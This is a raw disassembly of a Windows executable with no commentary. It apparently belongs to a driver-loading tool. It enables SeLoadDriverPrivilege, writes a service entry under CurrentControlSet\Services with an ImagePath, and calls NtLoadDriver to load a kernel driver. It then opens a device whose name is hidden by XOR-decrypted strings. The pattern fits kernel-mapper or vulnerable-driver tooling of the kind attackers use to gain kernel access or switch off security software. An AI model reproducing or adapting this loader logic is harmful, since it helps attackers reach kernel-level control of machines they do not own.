lea rcx, [rbp - 0x30]
call fcn.140024230
nop
lea rdx, [rbp + 0x220]
lea rcx, [rbp - 0x30]
call fcn.140021db0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], rdi
mov qword [rbp + 0x200], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140019a37
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019a32
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019a32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140019a8a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019a85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019a85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], 7
mov word [rbp + 8], di
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x290]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0xf
cmova rdx, qword [rbp + 0x1e8]
lea rcx, [rbp + 0x290]
call fcn.140021b60
nop
mov r8, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xd8]
sub r8, rdx
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x298]
call fcn.140013900
test rax, rax
jne 0x140019b24
mov rax, qword [rbp + 0x290]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x290]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 8]
call fcn.140021c70
mov qword [rbp + 0x110], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x110]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140019b5e
mov bl, 1
jmp 0x140019bdd
mov qword [rbp + 0xd0], rdi
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova rdx, qword [rbp + 8]
lea r8, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140019b8a
mov bl, 1
jmp 0x140019bdd
mov dword [rbp + 0x60], 1
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x64], rax
mov dword [rbp + 0x6c], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x60]
xor edx, edx
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140019bce
mov bl, 1
jmp 0x140019bdd
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140019c20
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019c1b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019c1b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
mov esi, 4
test bl, bl
jne 0x14001a1bb
lea rax, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0xf
cmova rax, qword [rbp + 0x1e8]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x1f8]
mov qword [rbp + 0x68], rax
call fcn.14002566c
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea r8, [rbp + 0x60]
mov edx, eax
lea rcx, [rbp + 0x80]
call fcn.1400152a0
mov dword [rbp + 0xd0], 0xfc
mov qword [rbp + 0x110], rdi
lea rax, [0x140036118]
mov qword [rbp + 0x118], rax
lea r8, [rbp + 0x110]
lea rdx, [rbp + 0x80]
lea rcx, [rbp - 0x30]
call fcn.140015d00
mov dword [rbp + 0xd0], 0x1fc
cmp dword [rbp + 0x110], 0
jne 0x140021829
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rax, qword [rbp - 0x30]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x68], rax
call fcn.14002566c
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea r8, [rbp + 0x60]
mov edx, eax
lea rcx, [rbp + 8]
call fcn.140024230
mov dword [rbp + 0xd0], 0xffc
lea r8, [rbp + 8]
lea rcx, [rbp + 0x1b0]
call fcn.140023320
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rdi
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x60]
call fcn.140003400
nop
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x60]
call fcn.140021db0
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
lea r8, [rbp + 0x110]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x140019db2
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140019dab
inc rdx
mov rcx, qword [rbp + 0x60]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140019da6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019ed8
call fcn.140025c94
mov bl, 1
jmp 0x140019ee9
mov byte [rbp + 0x120], 1
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x120]
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140019d70
mov byte [rbp + 0x121], 3
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x121]
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140019d70
mov byte [rbp + 0x122], 3
mov dword [rsp + 0x28], r14d
lea rax, [rbp + 0x122]
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140019d70
mov eax, dword [rbx + 0x10]
cmp qword [rbx + 0x18], 0xf
jbe 0x140019e69
mov rbx, qword [rbx]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140019d70
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140019ee4
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019edf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019edf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
test ebx, ebx
setne bl
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x140019f2d
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019f28
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019f28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140019f84
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019f7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019f7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], 0xf
mov byte [rbp + 8], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x140019fd7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], di
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x14001a030
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a02b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a02b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
test bl, bl
jne 0x14001a1bb
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
mov qword [rbp + 0x268], rdi
mov qword [rbp + 0x270], rdi
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x258]
call fcn.140003400
nop
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x258]
call fcn.140021db0
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rsi + rcx]
cmp dword [0x140036d44], eax
jle 0x14001a0d9
lea rcx, [0x140036d44]
call fcn.140025fb8
cmp dword [0x140036d44], 0xffffffff
jne 0x14001a0d9
lea rcx, [0x140029810]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtLoadDriver
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140036d88], rax
lea rcx, [0x140036d44]
call fcn.140025f4c
cmp qword [0x140036d88], 0
je 0x14001a177
lea rdx, [rbp + 0x258]
cmp qword [rbp + 0x270], 0xf
cmova rdx, qword [rbp + 0x258]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ntdll.dll_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x110]
call qword [sym.imp.ntdll.dll_RtlAnsiStringToUnicodeString]
mov rax, qword [0x140036d88]
lea rcx, [rbp + 0x110]
call rax
test eax, eax
sete bl
mov rdx, qword [rbp + 0x270]
cmp rdx, 0xf
jbe 0x14001a1bd
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a170
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a170
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
jmp 0x14001a1bd
mov rdx, qword [rbp + 0x270]
cmp rdx, 0xf
jbe 0x14001a1bb
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a1b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a1b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
xor bl, bl
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x80]
call fcn.140021e50
mov byte [rbp + 0xa0], bl
lea rcx, [rbp + 0x290]
call fcn.1400160c0
nop
mov rdx, qword [rbp + 0x200]
cmp rdx, 0xf
jbe 0x14001a227
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a222
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a222
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
mov qword [rbp + 0x1f8], rdi
mov qword [rbp + 0x200], 0xf
mov byte [rbp + 0x1e8], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x14001a285
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a27f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a27f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
nop
mov rcx, qword [rbp + 0xd8]
test rcx, rcx
je 0x14001a2c9
mov rdx, qword [rbp + 0xe8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a2c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a2c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
nop
mov rax, qword [0x14002a170]
mov qword [rbp + 0x40], rax
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
call fcn.140022360
cmp byte [rbp + 0x47], 0
je 0x14001a419
mov r8d, edi
cmp r15d, 2
jl 0x14001a3e1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x40]
xorps xmm2, xmm1
movd dword [rbp + 0x40], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x44]
xorps xmm2, xmm1
movd dword [rbp + 0x44], xmm2
jmp 0x14001a419
lea r9, [rbp + 0x40]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14001a3f0
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [0x140036e50], rax
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14001a491
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a48c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a48c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140025c94
test rbx, rbx
jne 0x14001a795
movups xmm0, xmmword [0x140029b00]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029b10]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x140029b20]
mov dword [rbp + 0xa0], eax
movzx eax, byte [0x140029b24]
mov byte [rbp + 0xa4], al
mov r8d, edi
cmp r15d, 2
jl 0x14001a5e7
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov edx, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x20
jl 0x14001a4f0
cmp r8d, 0x25
jge 0x14001a633
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14001a600
lea rcx, [rbp + 0x80]
call fcn.1400021c0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ebx, eax
mov rcx, qword [rbp + 0x158]
test rcx, rcx
je 0x14001a699
mov rdx, qword [rbp + 0x168]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a682
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a9fe
call fcn.140025c94
mov qword [rbp + 0x158], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x14001a6eb
mov rdx, qword [rbp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a6d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a9fe
call fcn.140025c94
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rdi
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14001a72b
mov rdx, qword [rbp + 0x1a0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a726
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021816
call fcn.140025c94
mov eax, ebx
mov rcx, qword [rbp + 0xd60]
xor rcx, rsp
call fcn.140025c30
lea r11, [rsp + 0xf10]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x1a8]
call fcn.1400169d0
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14001a7c4
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001a7c4
movsxd r8, dword [rcx + 0x3c]
add r8, 8
add r8, rcx
jmp 0x14001a7c7
mov r8, r14
mov r8d, dword [r8]
call fcn.1400174e0
test al, al
jne 0x14001aa05
movups xmm0, xmmword [0x140029f68]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029f78]
movups xmmword [rbp + 0x90], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x14001a959
mov r8d, edi
cmp r15d, 2
jl 0x14001a921
mov edx, edi
movdqa xmmword [rbp + 0x40], xmm10
lea rcx, [rbp + 0x80]
mov r8d, dword [rbp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp edx, 0x20
jl 0x14001a830
jmp 0x14001a959
lea r9, [rbp + 0x80]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14001a930
lea rcx, [rbp + 0x80]
call fcn.1400021c0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov ebx, eax
mov rcx, qword [rbp + 0x158]
test rcx, rcx
je 0x14001a9bb
mov rdx, qword [rbp + 0x168]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a9a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001a9fe
call fcn.140025c94
mov qword [rbp + 0x158], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
mov rcx, qword [rbp + 0x140]
test rcx, rcx
je 0x14001a6eb
mov rdx, qword [rbp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a6d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a6d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x110]
call fcn.1400032e0
mov rcx, qword [rbp + 0x110]
sub rcx, qword [rbp + 0x50]
movabs rax, 0x431bde82d7b634db
imul rcx
mov rcx, rdx
sar rcx, 0x12
mov rax, rcx
shr rax, 0x3f
add rcx, rax
movups xmm0, xmmword [0x140029a28]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x140029a38]
movups xmmword [rbp + 0x90], xmm1
movsd xmm0, qword [0x140029a48]
movsd qword [rbp + 0xa0], xmm0
mov r8d, edi
cmp r15d, 2
jl 0x14001ab85
movdqa xmmword [rbp + 0x40], xmm10
lea rdx, [rbp + 0x80]
mov r9d, r14d
mov r10d, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r10d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add r8d, 8
lea rdx, [rdx + 8]
add r9d, 8
cmp r8d, 0x28
jl 0x14001aa90
jmp 0x14001abb9
lea r9, [rbp + 0x80]
nop dword [rax]
mov eax, 0xa0a0a0a1
mul r8d
shr edx, 5
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x14001ab90
mov rdx, rcx
lea rcx, [rbp + 0x80]
call fcn.1400021c0
movups xmm0, xmmword [0x1400299e0]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1400299f0]
